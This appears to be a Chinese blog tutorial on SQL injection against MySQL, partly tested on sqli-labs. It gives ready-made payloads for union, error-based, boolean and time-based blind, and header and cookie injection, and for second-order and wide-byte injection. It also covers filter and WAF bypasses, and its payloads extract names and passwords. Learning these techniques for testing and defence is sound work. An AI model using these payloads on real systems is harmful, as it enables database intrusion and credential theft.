Sql注入

Sql注入定义:

就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的

sql注入分类:

基于联合查询

基于错误回显

基于盲注,分时间盲注和布尔型的盲注

基于user-agent

基于feferer

基于cookie

二次注入

宽字节注入

注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。

常规的找出查询语句的方法是在后面加’“‘)“),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点,然后根据情况用不同的方法注入。

1.联合查询:

通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询

首先来了解下mysql的系统函数

user() :当前使用者的用户名

database():当前数据库

version():数据库版本

datadir:读取数据库的绝对路径

@@vasedir:mysql安装路径

@@version_compile_os:操作系统

concat():连接一个或者多个字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。

UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行

order by 用于对结果集进行排序

mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表、列等信息

理解Schema,schemata,schema_name,table_schema(这是我学习过程中最混淆的地方)

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,注释等。是show columns from schemaname.tablename的结果取之此表

找到注入点后,我们用order by语句查询数据库中存在多少数据表

确定多少个表,为了便于说明,假设有三个数据表,

Order by 3 返回正常

order by 4返回错误

然后使用and 1=2 union select 1,2,3 %23爆出可以回显敏感信息的位置,假设在2和3上

下面我们就要查询敏感信息了,就要用到上面所说的系统函数了

and 1=2 union select 1,version(),database()可以爆出当前使用的版本和数据库名

and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出数据库名,依次使用limit2,1往下爆库名,也可以使用group_concat函数全部爆出来 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 。

我们假设其中有flag库

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’爆出flag库下的所有的表,假设其中有flagtable表

and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段,假设有name和password字段

and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable爆出flag下的flagtable表的name和password的内容

2.基于错误回显

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上

所用到的函数

count() 统计元祖的个数(相当于求和)

如select count(*) from information_schema.tables;

rand()用于产生一个0~1的随机数

floor()向下取整

group by 依据我们想要的规矩对结果进行分组

concat将符合条件的同一列中的不同行数据拼接,以逗号隔开

首先看一下关于rand()函数与group by 在mysql中的错误报告,我们就是要利用group by part of rand() returns duplicate key error这个bug。

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了

公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(schema_name) from information_schema.schemata  ) )name from information_schema.tables group by name)a) %23爆出所有库名,同上面一样,假设有falg库

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(table_name) from information_schema.tables where table_schema=’flag’  ) )name from information_schema.tables group by name)a) %23爆出flag下的所有表,假设有flagtable表

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’  ) )name from information_schema.tables group by name)a) %23爆出flagtable表的所有字段,假设有name和password

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(name,password) fromflag.flagtable) )name from information_schema.tables group by name)a) %23爆出name和password字段的内容

3.  sql盲注

在不知道数据库具体返回值的情况下对数据库中的内容进行猜解,实施sql注入,一般分为基于布尔和基于时间类型的盲注。

3.1 基于布尔型的sql盲注:

返回的界面只有两种情况,即TRUE和FALSE,这样说并不是很准确,因为SQL查询无非就这两种情况,应该说是盲注的时候你只能得到一个正常的页面或者是什么页面的不存在,甚至你在查询表的记录过程也不会有显示。

首先了解几个函数

length()返回字符串的长度

substr()截取字符串

ascii()返回字符的ascii码

爆数据库的路径

and ascii(substr(@@datadir,1,1))>69 %23然后使用二分法一步一步确定。

爆所有的数据库名

and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit函数爆出的是第二个数据库的第一个字符,同上,假设其中一个库名为flag

爆数据库表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit 0,1),1,1)))>100 %23假设其中一个表名为flagtable

爆出数据库的列名

and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit 0,1),1,1)))>100 %23,假设其中列名为name和password

爆出列里的数据内容

and ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1),1,1))>48 %23

这样我们就一步一步的爆出数据库的信息了

3.2 基于时间的盲注

web页面的返回值只有一种,true,无论输入任何值,它的返回都会按正确的来处理。加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确

sleep()函数

执行将程序(进程)挂起一段时间

if(expr1,ecpr2,expr3)判断语句

爆库名

and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag

爆表名

and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit1,1) ,1,1))>101,1,sleep(3)) %23假设有一表名为flagtable

爆列名

and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit1,1) ,1,1))>100,1,sleep(3)) %23,假设爆出列名为name和password

爆表中的内容

and if(ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23

4.基于user-agent的注入

用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。

并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。

HTTP查询实例:

GET /index.phpHTTP/1.1

Host: [host]

User-Agent: aaa’ or 1/*

我们将火狐设置为本地代理,然后用brup suite抓包。


然后将包发送到Repeater

在user-Agent修改为’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#

就爆出了数据库的库名flag了,这是sqli-labs第十八关的测试结果,构造爆出表列的语句和基于错误回显的语句一样,这里就不多做说明了。

5.基于头部Referer注入

http referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上referer,告诉服务器我是从哪个页面链接过来的,服务器以此可以获得一些信息用于处理

以下测试基于sqli-labs第十九关的测试结果



在referer中输入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#爆出数据库名为flag,其他注入语句和上雷同。



6.基于cookie的注入

cookie(存储在用户本地终端上的数据)有服务器生成,发给user-agent(一般是浏览器),浏览器会把cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就会发送还cookie给服务器(前提是浏览器设置为启用cookie)。cookie名称和值可以有服务器端开发自己定义,对于jsp而言也可以直接写入jessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等,服务器keyhi设置或读取cookie中包含信息,借此维护用户跟服务器会话中的状态。

火狐中插件friebug对其修改,或用burp suite抓包修改

以下测试结果基于sqli-labs 第二十关

在cookie中加单引号测试报错,证明存在注入。然后在cookie中输入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同样爆出的库名flag



对于GET和POST的区别:

当然,上面所说的全是在裸机的情况下的结果,在正常情况下,会有些防护措施。下面介绍些绕过的方法。

1.base64编码

base64编码的思想是采用64个基本的ascii码字符对数据进行重新编码。它将需要编码的数据拆分字节数组。以3个字节为一组,按顺序排列24位数据,再把24位数据分成4组,即每组6位,再在每组的最高位前补两个0凑足一个字节,这样把一个3字节为一组的数据重新编码成4个字节。当所要编码的数据的字节不是3的整数倍,这时,在最后一组填充1到2个0字节。并在最后编码完成后在结尾添加1到2个”=“。

关于这个编码的规则:

①.把3个字符变成4个字符。

②每76个字符加一个换行符。

③.最后的结束符也要处理。

在火狐的插件heckbar中有此功能


1.过滤关键字符

and——&&

or——||

空格被过滤

可以使用”%09%0A%0C%0D%0B”替代,也可以用or和and语句来构造到达闭合语句的效果。

union select过滤

使用大小写绕过,如UNion,SElect

多次重复,如ununionion,selselectect

在union select联合使用被过滤的情况,unionallselect

2.WAF应用防护系统

php get 获取参数时有一个特性,当某个参数被多次赋值时会保留最后一次被赋值时的值。如id=1&id=&2&id=3这时,程序会返回id=3的值,但WAF只对第一次的id进行测试,如果传入多个id,那么后面的id则存在注入漏洞

输入id=1&id=&2&id=3‘就会出现报错

二次注入

注入过程分为两个部分,语句插入和语句执行。常规的注入中都是将sql语句插入后即可显示效果,出错或者得出注入结果,而二次注入的第一步不会产生任何反应,因为它只是一个语句的插入,并没有执行,在第二步运行时才能执行第一步插入的语句并显示结果。而这两个点可能不在同一位置。

此时修改密码,单引号闭合语句,井号注释后面的语句,修改的就不是admin’#的密码了,而是admin的密码

宽字节注入

GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等这些都是常说的宽字节(两个字节),ascii就是单字节(一个字节)

GBK编码,他的范围是0x8410~0xFEFE(不包括xx7F)ascii编码,他的编码范围是ascii(0)~ascii(127),另外有一个扩展ascii打印字符,他的范围是ascii(128)~ascii(255)

addslashes()函数

在每个字符前添加反斜杠:\

my_sql_real_escape_string()

my_sql_real_escape_string()函数转义sql语句中使用的字符串中的特殊符:\x00  ,  \n  , \r  ,  \  ,  ' ,  "   ,  、x1a

id=1,我们在后面家单引号,双引号都返回正常,因为被添加反斜杠或转义了,此时我们可以在测试字符前加%bf

id=1%bf’就会报错了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容